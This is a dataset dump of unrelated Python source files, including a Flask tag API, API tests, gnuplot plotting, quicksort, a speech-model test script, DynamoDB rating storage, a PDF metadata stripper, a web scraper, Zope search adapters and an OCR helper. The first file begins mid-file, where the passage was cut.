{\n meta {\n total\n }\n data {\n tag {\n namespace, key, value\n },\n count\n }\n }\n }\n\"\"\"\n\n\ndef xjoin_enabled():\n return get_bulk_query_source() == BulkQuerySource.xjoin\n\n\n@api_operation\n@metrics.api_request_time.time()\ndef get_tags(search=None, tags=None, order_by=None, order_how=None, page=None, per_page=None, staleness=None):\n if not xjoin_enabled():\n flask.abort(503)\n\n limit, offset = pagination_params(page, per_page)\n\n variables = {\n \"order_by\": order_by,\n \"order_how\": order_how,\n \"limit\": limit,\n \"offset\": offset,\n \"hostFilter\": {\n # we're not indexing null timestamps in ES\n \"OR\": list(staleness_filter(staleness))\n },\n }\n\n if search:\n variables[\"filter\"] = {\n # Escaped to prevent ReDoS\n \"name\": f\".*{re.escape(url_quote(search, safe=''))}.*\"\n }\n\n if tags:\n variables[\"hostFilter\"][\"AND\"] = [{\"tag\": Tag().from_string(tag).data()} for tag in tags]\n\n response = graphql_query(TAGS_QUERY, variables)\n data = response[\"hostTags\"]\n\n check_pagination(offset, data[\"meta\"][\"total\"])\n\n return flask_json_response(build_collection_response(data[\"data\"], page, per_page, data[\"meta\"][\"total\"]))\n","sub_path":"api/tag.py","file_name":"tag.py","file_ext":"py","file_size_in_byte":2355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"220854421","text":"from unittest import TestCase\nfrom __init__ import app # Kinda weird idk\nimport csv\nimport jsonpickle\n\nclass BaseSettings(TestCase):\n def setUp(self):\n self.message = \"\"\n\n self.app = app.test_client()\n self.app.testing = True\n\n def tearDown(self):\n print(\"Complete: \" + self.message)\n\n\nclass Registration(BaseSettings):\n def test_test(self):\n self.message = 'test_test'\n self.assertEqual(True, True, \"True is true\")\n\n def test_url_inputs(self):\n self.message = 'test_url_inputs'\n with open('testData/url.csv') as csv_urls:\n\n reader = csv.DictReader(csv_urls)\n test_case_no = 1\n\n for row in reader:\n result = self.app.get(row['URL'])\n self.assertEqual(int(row['StatusCode']), result.status_code, 'Test case ' + str(test_case_no) +\n ' failed with URL: ' + row['URL'] + '\\n Data: ' + str(result.data))\n print('Test Case ' + str(test_case_no) + ' Successful')\n test_case_no += 1\n\n def test_response_fields(self):\n self.message = 'test_response_fields'\n with open('testData/response_fields.json') as json_file:\n\n test_cases = jsonpickle.decode(json_file.read())['test_cases']\n test_case_no = 1\n\n for test_case in test_cases:\n url = self.construct_url(test_case)\n result = self.app.get(url)\n self.assertEqual(result.status, '200 OK')\n\n result_dict = jsonpickle.decode(result.data.decode('utf-8'))\n result_fb_info = result_dict['Facebook Statistic Data']\n print(result_fb_info)\n # Check that if we are expecting a field (according to test_case) that the field is actually in the result\n self.assertEqual(\"PageId\" in test_case['page_fields_output'], \"PageId\" in result_fb_info)\n # self.assertEqual(\"PageName\" in test_case['page_fields_output'], \"PageName\" in result_fb_info)\n self.assertEqual(\"Description\" in test_case['page_fields_output'], \"Description\" in result_fb_info)\n self.assertEqual(\"Category\" in test_case['page_fields_output'], \"Category\" in result_fb_info)\n self.assertEqual(\"FanCount\" in test_case['page_fields_output'], \"FanCount\" in result_fb_info)\n self.assertEqual(\"Website\" in test_case['page_fields_output'], \"Website\" in result_fb_info)\n\n\n self.assertEqual(len(test_case['post_fields_output']) > 0, hasattr(result_fb_info, 'posts'), \"Must contain post results\")\n self.assertEqual(len(test_case['post_fields_output']) > 0, \"post_id\" in result_fb_info['posts'][0])\n self.assertEqual(\"post_type\" in test_case['post_fields_output'], \"post_type\" in result_fb_info['posts'][0])\n self.assertEqual(\"post_message\" in test_case['post_fields_output'], \"post_message\" in result_fb_info['posts'][0])\n self.assertEqual(\"post_like_count\" in test_case['post_fields_output'], \"post_like_count\" in result_fb_info['posts'][0])\n self.assertEqual(\"post_comment_count\" in test_case['post_fields_output'], \"post_comment_count\" in result_fb_info['posts'][0])\n self.assertEqual(\"post_created_time\" in test_case['post_fields_output'], \"post_created_time\" in result_fb_info['posts'][0])\n\n\n print('Test Case ' + str(test_case_no) + ' Successful')\n test_case_no += 1\n\n def construct_url(self, test_case):\n post_fields = test_case['post_fields_input']\n page_fields = test_case['page_fields_input']\n\n if len(page_fields) == 0 and len(post_fields) == 0:\n return '/api/v2/PageData?company=woolworths&startdate=2015-10-01T08:45:10.295Z&enddate=2015-11-01T19:37:12.193Z'\n elif len(post_fields) == 0:\n fields_string = ','.join(page_fields)\n elif len(page_fields) == 0:\n fields_string = 'posts.fields(' + ','.join(post_fields) + ')'\n else:\n fields_string = ','.join(page_fields) + ',posts.fields(' + ','.join(post_fields) + ')'\n\n return '/api/v2/PageData?company=woolworths&startdate=2015-10-01T08:45:10.295Z&enddate=2015-11-01T19:37:12.193Z&fields=' + fields_string","sub_path":"test/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":4315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"416091597","text":"# -*- coding: utf-8 -*-\nimport fileinput\nimport numpy\nimport Gnuplot\nfrom functools import reduce\n\nresto = []\nks = []\ntiempos = []\naccuracys= []\npos_precision= []\npos_recall = []\npos_f1score = []\nneg_precision= []\nneg_recall = []\nneg_f1score = []\nfor line in fileinput.input():\n lexp = line.split(\",\")\n if lexp[0] != \"k\":\n ks.append(int(lexp[0])) \n tiempos.append(float(lexp[1]))\n accuracys.append(float(lexp[2]))\n pos_precision.append(float(lexp[3]))\n pos_recall.append(float(lexp[4]))\n pos_f1score.append(float(lexp[5]))\n neg_precision.append(float(lexp[6]))\n neg_recall.append(float(lexp[7]))\n neg_f1score.append(float(lexp[8]))\n resto.append(lexp[9:])\n\nxtics=\", \".join([\"'\"+str(ks[i])+\"' \"+str(i) for i in range(len(ks))]) \nmaxAcc = max(accuracys)\n\ng = Gnuplot.Gnuplot()\ng.xlabel(\"k vecinos\")\ng(\"set key top left\")\ng(\"set terminal png size 1000, 500\")\ng(\"set grid y\")\ng(\"set style data histograms\")\ng(\"set style histogram rowstacked\")\ng(\"set boxwidth 0.8\")\ng(\"set style fill solid 1 border -1\")\ng(\"set xtics(\"+xtics+\") scale 0\")\ng(\"set xrange [-1:\"+str(len(ks))+\"]\")\n\n#g(\"set ytics 0.01 nomirror\")\n#g(\"set yrange [0.65:0.68]\")\n\n#g(\"xequiv=100\")\nd1 = Gnuplot.Data(ks,pos_precision,using=\"2\", title=\"Reviews Positivos\")\nd2 = Gnuplot.Data(ks,neg_precision,using=\"2\", title=\"Reviews Negativos\")\nd3 = Gnuplot.Data(ks,pos_recall,using=\"2\", title=\"Reviews Positivos\" )\nd4 = Gnuplot.Data(ks,neg_recall,using=\"2\", title=\"Reviews Negativos\" )\nd5 = Gnuplot.Data(ks,pos_f1score,using=\"2\", title=\"Reviews Positivos\" )\nd6 = Gnuplot.Data(ks,neg_f1score,using=\"2\", title=\"Reviews Negativos\" )\nd7 = Gnuplot.Data(ks,accuracys,using=\"2\",title=\"Accuracy\")\nd8 = Gnuplot.Data(range(len(ks)),[ maxAcc for i in range(len(ks))],using=\"2\",title=str(round(maxAcc,6)).replace('.',','),with_=\"lines lt 2 lw 2\")\n\n#PLOT ACCURACY\ng(\"set yrange [:0.68]\")\ng.ylabel(\"Accuracy\")\ng(\"set output 'accuracy-variacion-k.png'\")\ng.title(\"Evolución de accuracy ante variación de la cantidad de vecinos\")\ng.plot(d7,d8)\ng(\"unset yrange\")\n\ng(\"set style histogram cluster gap 1\")#g(\"set style histogram rowstacked\")\n\n#PLOT F1SCORE\ng(\"set yrange [:0.74]\")\ng.title(\"F1-score\")\ng.ylabel(\"F1-score\")\n#g(\"set yrange [0.5:0.8]\")\ng(\"set output 'f1score-variacion-k.png'\")\ng.plot(d5,d6)\ng(\"unset yrange\")\n\n#PLOT PRECISION\ng.title(\"Precision\")\ng.ylabel(\"Precision\")\n#g(\"set yrange [0.5:0.8]\")\n#g(\"set ytics 0.05\")\ng(\"set output 'precision-variacion-k.png'\")\ndl = Gnuplot.Data(ks,[0.625 for i in range(len(ks))],using=2,with_=\"lines lw 2\",title=\"0,625\" )\ng.plot(d1,d2)\ng(\"unset yrange\")\n\n#PLOT RECALL\ng.title(\"Recall\")\ng.ylabel(\"Recall\")\n#g(\"set yrange [0.4:0.9]\")\ng(\"set output 'recall-variacion-k.png'\")\ng.plot(d3,d4)\ng(\"unset yrange\")\n\n\nd1 = Gnuplot.Data(ks,pos_precision,using=\"2\", title=\"Precision\")\nd2 = Gnuplot.Data(ks,neg_precision,using=\"2\", title=\"Precision\")\nd3 = Gnuplot.Data(ks,pos_recall,using=\"2\", title=\"Recall\" )\nd4 = Gnuplot.Data(ks,neg_recall,using=\"2\", title=\"Recall\" )\nd5 = Gnuplot.Data(ks,pos_f1score,using=\"2\", title=\"F1-score\" )\nd6 = Gnuplot.Data(ks,neg_f1score,using=\"2\", title=\"F1-score\" )\n\n#POSITIVAS\ng.title(\"Reviews Positivos\")\ng.ylabel(\"Métricas\")\n#g(\"set yrange [0.4:0.8]\")\ng(\"set output 'metricas-pos-variacion-k.png'\")\ng.plot(d1,d3,d5)\ng(\"unset yrange\")\n\n#NEGATIVAS\ng.title(\"Reviews Negativos\")\ng.ylabel(\"Métricas\")\n#g(\"set yrange [0.5:0.9]\")\ng(\"set output 'metricas-neg-variacion-k.png'\")\ng.plot(d2,d4,d6)\ng(\"unset yrange\")\ndel g\n\n\ng = Gnuplot.Gnuplot()\ng.xlabel(\"k vecinos\")\ng(\"set key top left\")\ng(\"set terminal png size 1000, 500\")\ng(\"set grid y\")\n#g(\"set style data histograms\")\n#g(\"set style histogram rowstacked\")\n#g(\"set boxwidth 0.8\")\ng(\"set style fill solid 1 border -1\")\ng(\"set xtics(\"+xtics+\") scale 0\")\ng(\"set xrange [-1:\"+str(len(ks))+\"]\")\ng.title(\"Tiempo con respecto a la cantidad de vecinos\")\ng.ylabel(\"Tiempo (seg)\")\ng(\"set output 'tiempo-variacion-k.png\")\nd1 = Gnuplot.Data(ks,tiempos,using=2, title=\"Tiempo\",with_=\"linespoint\")\ng.plot(d1)","sub_path":"herramientas/resultados.py","file_name":"resultados.py","file_ext":"py","file_size_in_byte":4024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"36870734","text":"import random\n\n\ndef quicksort(arr):\n if len(arr) < 2:\n return arr\n else:\n pivot = arr[random.randrange(0, len(arr))]\n less = [x for x in arr if x < pivot]\n greater = [x for x in arr if x > pivot]\n return quicksort(less) + [pivot] + quicksort(greater)\n","sub_path":"algorithms/quick_sort/quicksort.py","file_name":"quicksort.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"573533385","text":"import time\nfrom Options.TestOptions import TestOptions\nfrom torch.autograd import Variable\nimport torch.utils.data as data\nfrom utils import *\nimport torch\nimport CNN\nfrom Model_Configue import *\nimport FMCC_Dataset\nimport torch.nn as nn\nimport scipy.io as scio\nopt= TestOptions().parse()\nif opt.Model == 'CNN_KWS_Model':\n configue = CNN_Model\n model = CNN.CNN_KWS_Model(configue)\ntest_set = FMCC_Dataset.FMCC_Dataset(opt.test_label_path,opt.test_data_path,opt.word_path,opt.lexicon_path)\ntest_loader = data.DataLoader(test_set,batch_size= 1, shuffle= True)\nmodel.eval()\nmodel.load_state_dict(torch.load('CNN_Model1model10.pt'))\nGPU_Mode=0\nrunning_corrects = 0\nout_all=[]\nlabels_all=[]\ncounter= 0\nfor data in test_loader:\n input = data['data']\n label = data['label']\n if GPU_Mode:\n input, label = Variable(input.float().cuda()), Variable(label.long().cuda())\n else:\n input, label = Variable(input), Variable(label.long())\n out = model(input)\n _, predicts = torch.max(out.data, 1)\n running_corrects+= torch.sum(predicts==label.data)\n out_numpy=out.detach().numpy()\n out_list=list(out_numpy)\n out_all.append(out_list)\n label_numpy = list(label.detach().numpy())\n labels_all.append(label_numpy)\n if counter %1000 ==0:\n print('Reached Iteration',counter)\n counter+=1\nall_accuracy = (1.0*running_corrects.item())/len(test_set)\nprint('All Accuracy is ',all_accuracy)\ndataFile='/home/ancao/KWS/CRNN/MODEL1.mat'\ndata = scio.savemat(dataFile,{'out':out_all,'label':labels_all})\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"263482354","text":"\"\"\"Access dynamo DB tables:\n ratings\n\"\"\"\n\nimport datetime, pickle\nimport boto3\n\n\ndynamodb = boto3.resource('dynamodb', region_name='us-west-2')\nusers_table = dynamodb.Table('users')\n\n# recommendation rotation size = 4\n# only 1/4 of the full set of recommendation is returned per API request\nrotation_size = 4\n\n\n\ndef _db_write(user_id : int, attrib : str, obj):\n \"\"\"Stores \"obj\" using pickle.\"\"\"\n users_table.put_item(Item={\"user_id\": user_id,\n \"attrib\": attrib,\n \"obj\": pickle.dumps(obj)})\n\n\ndef db_write_native(user_id : int, attrib : str, obj):\n \"\"\"Stores \"obj\" directly, without using pickle.\"\"\"\n users_table.put_item(Item={\"user_id\": user_id,\n \"attrib\": attrib,\n \"obj\": obj})\n\n\ndef _db_get(user_id : int, attrib: str):\n r = users_table.get_item(Key={\"user_id\": user_id, \"attrib\": attrib})\n\n if \"Item\" in r:\n return pickle.loads(r['Item']['obj'].value)\n else:\n return {}\n\n\ndef db_get_native(user_id : int, attrib):\n \"\"\"Gets the object directly, without using pickle. Returns None\n if object not found.\"\"\"\n r = users_table.get_item(Key={\"user_id\": user_id, \"attrib\": attrib})\n\n if \"Item\" in r:\n return r['Item']['obj']\n else:\n return None\n\n\ndef get_ratings(user_id : int):\n \"\"\"Retrieve a {movie_id: rating} ratings dictionary\n from the database.\"\"\"\n return _db_get(user_id, \"ratings\")\n\n\ndef store_ratings(user_id : int, ratings : dict):\n \"\"\"Store \"ratings\" dictionary into the database.\"\"\"\n _db_write(user_id, \"ratings\", ratings)\n\n # update status timestamp\n status = _db_get(user_id, \"status\")\n status[\"ratings_mod_time\"] = datetime.datetime.utcnow().timestamp()\n _db_write(user_id, \"status\", status)\n\n\ndef is_new_recommendation_needed(user_id : int, algorithm : str):\n \"\"\"Checks the timestamps to see if a new recommendation is needed.\n :param user_id: user ID\n :param algorithm: Name of the algorithm, such as \"als3\".\n \"\"\"\n status = _db_get(user_id, \"status\")\n needed = False # function return value\n\n if \"ratings_mod_time\" not in status:\n status[\"ratings_mod_time\"] = datetime.datetime.utcnow().timestamp()\n _db_write(user_id, \"status\", status)\n needed = True\n\n if algorithm + \"_mod_time\" not in status:\n needed = True\n else:\n algorithm_mod_time = status[algorithm + \"_mod_time\"]\n if algorithm_mod_time <= status[\"ratings_mod_time\"]:\n needed = True\n\n return needed\n\n\ndef store_recommendation(user_id : int, movie_ids : list, algorithm : str):\n \"\"\"Store \"movie_ids\" as recommendation for \"user_id\". Also updates\n timestamps and rotation value.\"\"\"\n _db_write(user_id, algorithm + \"_rec\", movie_ids)\n\n # update status\n status = _db_get(user_id, \"status\")\n status[algorithm + \"_mod_time\"] = datetime.datetime.utcnow().timestamp()\n status[algorithm + \"_rotation\"] = 1 # the caller of this function will return rotation 0\n _db_write(user_id, \"status\", status)\n\n\ndef get_recommendation(user_id : int, algorithm : str):\n \"\"\"Get recommendation from the database. This\n returns a list of movie ids.\"\"\"\n recommendation = _db_get(user_id, algorithm + \"_rec\")\n\n # if the \"recommendation\" doesn't exist, it defaults to a dictionary\n if len(recommendation) == 0: return []\n\n # extract subset of \"recommendation\" based on current \"rotation\"\n status = _db_get(user_id, \"status\")\n rotation = status[algorithm + \"_rotation\"]\n recommendation = recommendation[rotation::rotation_size]\n\n # update \"rotation\" value\n new_rotation = rotation + 1\n if new_rotation == rotation_size: new_rotation = 0\n status[algorithm + \"_rotation\"] = new_rotation\n\n _db_write(user_id, \"status\", status)\n\n return recommendation\n\n\n\n","sub_path":"python/app/rate/user_data.py","file_name":"user_data.py","file_ext":"py","file_size_in_byte":3867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"277549241","text":"#!/apps/eschol/bin/python\n\nimport re, os, subprocess, sys, tempfile\n\nfileToModify = sys.argv[1]\npdfTkCmd = '/apps/eschol/bin/pdftk'\n\n# Dump the existing metadata to a temp file\n(handle1,temp1) = tempfile.mkstemp('_pdfMeta.in')\n(handle2,temp2) = tempfile.mkstemp('_pdfMeta.out')\ntry:\n print(\"Reading metadata from '%s'\" % fileToModify)\n subprocess.check_call([pdfTkCmd, fileToModify, 'dump_data', 'output', temp1])\n print(\"Changing field values to 'X'.\")\n with os.fdopen(handle1, \"r\") as inMeta:\n with os.fdopen(handle2, \"w\") as outMeta:\n while True:\n line = inMeta.readline()\n if line == \"\":\n break\n if \"InfoValue\" in line:\n line = \"InfoValue: X\\n\"\n outMeta.write(line)\n print(\"Rewriting metadata to '%s'\" % fileToModify)\n subprocess.check_call([pdfTkCmd, fileToModify, 'update_info', temp2, 'output', fileToModify+\".new\"])\n os.rename(fileToModify+\".new\", fileToModify)\n print(\"Done.\")\n\nfinally:\n if os.path.exists(temp1):\n os.remove(temp1)\n if os.path.exists(temp2):\n os.remove(temp2)\n","sub_path":"eschol/utilities/stripPdfMeta.py","file_name":"stripPdfMeta.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"132331195","text":"import requests\r\nimport bs4\r\nimport mysql.connector\r\n\r\nconn = mysql.connector.connect(user='root', password='1234', database='sys')\r\nprint('open database successfully')\r\ncursor = conn.cursor()\r\nop = \"truncate table arts\"\r\ncursor.execute(op)\r\n\r\nclass Acad:\r\n def __init__(self, id, name, country, overall, teaching, research, citations, industry, outlook):\r\n self.id = id\r\n self.name = name\r\n self.country = country\r\n self.overall = overall\r\n self.teaching = teaching\r\n self.research = research\r\n self.citations = citations\r\n self.industry = industry\r\n self.outlook = outlook\r\n def Output(self):\r\n print(self.id, self.name, self.country, self.overall, self.teaching, self.research, self.citations, self.industry, self.outlook, sep = ' ', end = '\\n')\r\n def SavetoDB(self):\r\n op = \"INSERT INTO arts VALUES ('%d', '%s', '%s', '%f', '%f', '%f', '%f', '%f', '%f')\" % (self.id, self.name, self.country, self.overall, self.teaching, self.research, self.citations, self.industry, self.outlook)\r\n cursor.execute(op)\r\n\r\nurl = 'http://rankings.betteredu.net/THE/2017-2018/arts-and-humanities.html'\r\n\r\nres = requests.get(url)\r\n# print(res.text)\r\nsoup = bs4.BeautifulSoup(res.text, 'html.parser')\r\nsoup1 = soup.select('.xl63')\r\n\r\nAcad_arr = []\r\nfor i in range(0, len(soup1) // 9):\r\n index = i * 9\r\n id = i + 1\r\n name = soup1[index + 1].text\r\n country = soup1[index + 2].text\r\n overall = float(soup1[index + 3].text.split('–')[0])\r\n teaching = float(soup1[index + 4].text.split('–')[0])\r\n research = float(soup1[index + 5].text.split('–')[0])\r\n citations = float(soup1[index + 6].text.split('–')[0])\r\n industry = float(soup1[index + 7].text.split('–')[0])\r\n outlook = float(soup1[index + 8].text.split('–')[0])\r\n Acad_arr.append(Acad(id, name, country, overall, teaching, research, citations, industry, outlook))\r\n\r\nprint(len(Acad_arr))\r\n\r\nfor item in Acad_arr:\r\n item.SavetoDB()\r\n\r\nconn.commit()\r\nconn.close()\r\nprint('close database successfully')","sub_path":"algorithm/web_crawler/web7.py","file_name":"web7.py","file_ext":"py","file_size_in_byte":2074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"40239513","text":"##############################################################################\n#\n# Copyright (c) 2003 Zope Foundation and Contributors.\n#\n# This software is subject to the provisions of the Zope Visible Source\n# License, Version 1.0 (ZVSL). A copy of the ZVSL should accompany this\n# distribution.\n#\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\n# FOR A PARTICULAR PURPOSE\n#\n##############################################################################\n\"\"\"Pluggable authentication adapters\n\n$Id$\n\"\"\"\n\nfrom zc.security import interfaces\nfrom zope.app.component import queryNextUtility\nfrom zope.app.security import principalregistry\nfrom zope.app.security.interfaces import IAuthentication\nfrom zope.app.security.interfaces import PrincipalLookupError\nfrom zope.security.interfaces import IGroup\nimport zope.app.authentication.authentication\nimport zope.app.authentication.groupfolder\nimport zope.app.authentication.interfaces\nimport zope.app.authentication.principalfolder\nimport zope.component\nimport zope.interface\n\n\nclass PASimpleSearch:\n\n zope.component.adapts(\n zope.app.authentication.interfaces.IPluggableAuthentication)\n\n def __init__(self, context):\n self.context = context\n\n def searchPrincipals(self, filter, start, size):\n if size <= 0:\n return\n\n prefix = self.context.prefix\n\n n = 0\n for name, plugin in self.context.getAuthenticatorPlugins():\n searcher = self.type(plugin, None)\n if searcher is None:\n continue\n\n sz = size + start - n\n if sz <= 0:\n return\n\n search = getattr(searcher, self.meth)\n for principal_id in search(filter, 0, sz):\n if n >= start:\n yield prefix + principal_id\n n += 1\n\n next = self.context\n while 1:\n next = queryNextUtility(next, IAuthentication)\n if next is None:\n return\n searcher = self.type(next, None)\n if searcher is None:\n continue\n\n sz = size + start - n\n if sz <= 0:\n return\n\n search = getattr(searcher, self.meth)\n for principal_id in search(filter, 0, sz):\n if n >= start:\n yield principal_id\n n += 1\n return\n\n\nclass PASimpleGroupSearch(PASimpleSearch):\n type = interfaces.ISimpleGroupSearch\n zope.interface.implements(type)\n meth = 'searchGroups'\n searchGroups = PASimpleSearch.searchPrincipals\n\nclass PASimpleUserSearch(PASimpleSearch):\n type = interfaces.ISimpleUserSearch\n zope.interface.implements(type)\n meth = 'searchUsers'\n searchUsers = PASimpleSearch.searchPrincipals\n\nclass GroupFolderSimpleGroupSearch:\n\n def __init__(self, context):\n self.context = context\n\n def searchGroups(self, filter, start, size):\n return self.context.search({'search': filter}, start, size)\n\n zope.component.adapts(zope.app.authentication.groupfolder.IGroupFolder)\n zope.interface.implements(interfaces.ISimpleGroupSearch)\n\nclass UserFolderSimpleUserSearch:\n\n zope.component.adapts(\n zope.app.authentication.principalfolder.PrincipalFolder)\n zope.interface.implements(interfaces.ISimpleUserSearch)\n\n def __init__(self, context):\n self.context = context\n\n def searchUsers(self, filter, start, size):\n return self.context.search({'search': filter}, start, size)\n\nclass UserRegistrySimpleUserSearch:\n\n zope.component.adapts(principalregistry.PrincipalRegistry)\n zope.interface.implements(interfaces.ISimpleUserSearch)\n\n def __init__(self, context):\n self.context = context\n\n def searchUsers(self, filter, start, size):\n filter = filter.lower()\n result = [p.id for p in list(self.context.getPrincipals(''))\n if (filter in p.getLogin().lower()\n or\n filter in p.title.lower()\n or\n filter in p.description.lower()\n ) and not IGroup.providedBy(p)]\n result.sort()\n return result[start:start+size]\n\nclass UserRegistrySimpleGroupSearch(UserRegistrySimpleUserSearch):\n zope.interface.implementsOnly(interfaces.ISimpleGroupSearch)\n\n def searchGroups(self, filter, start, size):\n filter = filter.lower()\n result = [p.id for p in list(self.context.getPrincipals(''))\n if (filter in p.getLogin().lower()\n or\n filter in p.title.lower()\n or\n filter in p.description.lower()\n ) and IGroup.providedBy(p)]\n result.sort()\n return result[start:start+size]\n\nclass SimplePrincipalSource(zope.app.security.vocabulary.PrincipalSource):\n zope.interface.implementsOnly(interfaces.ISimplePrincipalSource)\n\nclass SimpleUserSource(zope.app.security.vocabulary.PrincipalSource):\n zope.interface.implementsOnly(interfaces.ISimpleUserSource)\n\n def __contains__(self, id):\n auth = zope.component.getUtility(IAuthentication)\n try:\n return not IGroup.providedBy(auth.getPrincipal(id))\n except PrincipalLookupError:\n return False\n\nclass SimpleGroupSource(zope.app.security.vocabulary.PrincipalSource):\n zope.interface.implementsOnly(interfaces.ISimpleGroupSource)\n\n def __contains__(self, id):\n auth = zope.component.getUtility(IAuthentication)\n try:\n return IGroup.providedBy(auth.getPrincipal(id))\n except PrincipalLookupError:\n return False\n\nclass SimplePrincipalSearch:\n\n zope.interface.implements(interfaces.ISimplePrincipalSearch)\n zope.component.adapts(IAuthentication)\n\n def __init__(self, context):\n self.context = context\n\n def searchPrincipals(self, filter, start, size):\n count = 0\n\n user_search = interfaces.ISimpleUserSearch(self.context, None)\n if user_search is not None:\n users = user_search.searchUsers(filter, 0, size+start)\n for user in users:\n if count >= start:\n yield user\n count += 1\n\n if count-start == size:\n return\n\n group_search = interfaces.ISimpleGroupSearch(self.context, None)\n if group_search is not None:\n groups = group_search.searchGroups(filter, 0, size+start-count)\n for group in groups:\n if count >= start:\n yield group\n count += 1\n\n if count-start == size:\n return\n","sub_path":"zc.security/trunk/src/zc/security/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":6848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"440458436","text":"from PIL import Image\nimport pytesseract as tess\nimport os,re,send2trash\ntess.pytesseract.tesseract_cmd = r'C:\\Users\\hp\\AppData\\Local\\Programs\\Tesseract-OCR\\tesseract.exe'\n\npath = os.path.dirname(os.path.realpath(__file__))\ninput_path = path + '/static/images/'\n#opening files and extracting text\n\n\ndef extract(img):\n text=[]\n for root,dirs,filenames in os.walk(input_path):\n try:\n img1 = Image.open(input_path + img)\n text.append(tess.image_to_string(img1))\n send2trash.send2trash(input_path+img)\n except:\n # return 'Invalid Image'\n continue\n text = str('\\n'.join(text))\n return text","sub_path":"extracter.py","file_name":"extracter.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"272914589","text":"import time,json,os,sys,re,random\n\ndef r_num(seed = -1, rand = 1, ubound = 10,lbound = 0):\n\tif seed != -1:\n\t\trandom.seed(seed)\t\n\telse:\n\t\trandom.seed( int(time.time() % 100) )\n\tif rand == 1:\n\t\treturn random.randint(lbound,ubound)\n\telse:\n\t\treturn [random.randint(lbound,ubound) for i in rand]\n\n\n# args[0] 总次数, args[1] 每次间隔多少秒, percent 显示的格式\ndef ss(*args,precent = 0):\n\tif len(args) == 1 and args[0] > 0:\n\t\t#print(\"delay\",args[0])\n\t\ttime.sleep(args[0])\n\telif len(args) == 2 and args[0] > 0 and args[1] > 0:\n\t\tif type(args[0]) is not int:\n\t\t\tmsg(\"错误参数\",args[0])\n\t\t\treturn\n\n\t\t#args[0] is n times, args[1] is m sec interval\n\t\tfor i in range(1,args[0] + 1):\n\t\t\ttime.sleep(args[1])\n\t\t\tsec = args[1]*args[0]\n\t\t\tif percent == 0:\n\t\t\t\tprint(\"休眠 {0:f} 秒.\".format(sec,prec))\n\t\t\telif precent == 1:\n\t\t\t\tprec = (i/args[0]*100)\n\t\t\t\tprint(\"休眠 {0:f} 秒, {1:.1f} %\".format(sec,prec), end=\"\\r\")\n\t\t\telif precent == 2:\n\t\t\t\tp = int(i/args[0]*50)\n\t\t\t\tsp = p*'|'\n\t\t\t\tprint(\"休眠 {0} 秒, {1:<55}{2:.1f}%\".format(sec,sp,p*2), end=\"\\r\")\n\t\t\telse:\n\t\t\t\tprint(\"休眠\",args[1]*args[0],'秒, 第',i,'秒。', end=\"\\r\")\n\telse:\n\t\ttime.sleep(0.1)\n\t\n\t\n\ndef load_configure(file: str,specific = ''):\n\tf=open(file,encoding='utf-8')\n\tcontent=f.read()\n\tres=json.loads(content)\n\n\tif not specific == '': \n\t\tprt(res[specific])\n\t\treturn(res[specific])\n\telse:\n\t\treturn res\n\t\ndef msg(*message):\n\ts = \"\"\n\tfor m in message:\n\t\ts += str(m) + \" \"\n\tprint(\"[%s]\"%time.asctime(),s)\n\ndef get_file_content(filePath):\n\twith open(filePath, 'rb') as fp:\n\t\treturn fp.read()\n\n# print dict \ndef print_d(res,tab = ''):\n\tfor key in res.keys():\n\t\tif type(res[key]) is dict:\n\t\t\tprint(key,\":\")\n\t\t\tprint_d(res[key],'\\t')\n\t\telse:\n\t\t\tprint(tab,key,\":\",res[key])\n\ndef prt(*args,title = \"Debug\",end = \" \"):\n\tprint(\"\\n\"+ title + \">\"*65 )\n\tskip = False\n\tfor i in range(len(args)):\n\t\t#print(type(args[i]))\n\n\t\tif type(args[i]) is dict:\n\t\t\tprint_d(args[i])\n\n\t\telif type(args[i]) is list:\n\t\t\tfor element in args[i]:\n\t\t\t\tprint(element,end = end)\n\t\t\t\t\n\t\t#变量前为False就是跳过不显示\n\t\telif type(args[i]) is bool:\n\t\t\tif not args[i]:\n\t\t\t\tskip = True\n\t\telif skip:\n\t\t\tskip = False\n\t\t\tcontinue;\n\n\t\telse:\n\t\t\tprint(args[i],end = end)\n\n\t\tprint()\n\tprint(\"<\"*(len(title) + 65))\n\tprint()\n\n","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"411067276","text":"\nclass Phone:\n\n def __init__(self, name, description, extension, alerting_name):\n # AXL\n self.name = name\n if name.startswith('SEP') or name.startswith('ATA'):\n self.mac = name[3:]\n else:\n self.mac = 'unknown'\n self.description = description\n self.extension = extension\n self.alerting_name = alerting_name\n self.device_type = \"unknown\"\n\n # RIS\n self.status = \"unknown\"\n self.timestamp = \"unknown\"\n\n # DB\n self.responsible_person = \"unknown\"\n self.outlet_id = \"unknown\"\n self.outlet_status = \"unknown\"\n self.outlet_usedFor = \"unknown\"\n\n # Networking\n self.switchport = \"unknown\"\n self.switchport_status = \"unknown\"\n self.switchport_power_status = \"unknown\"\n 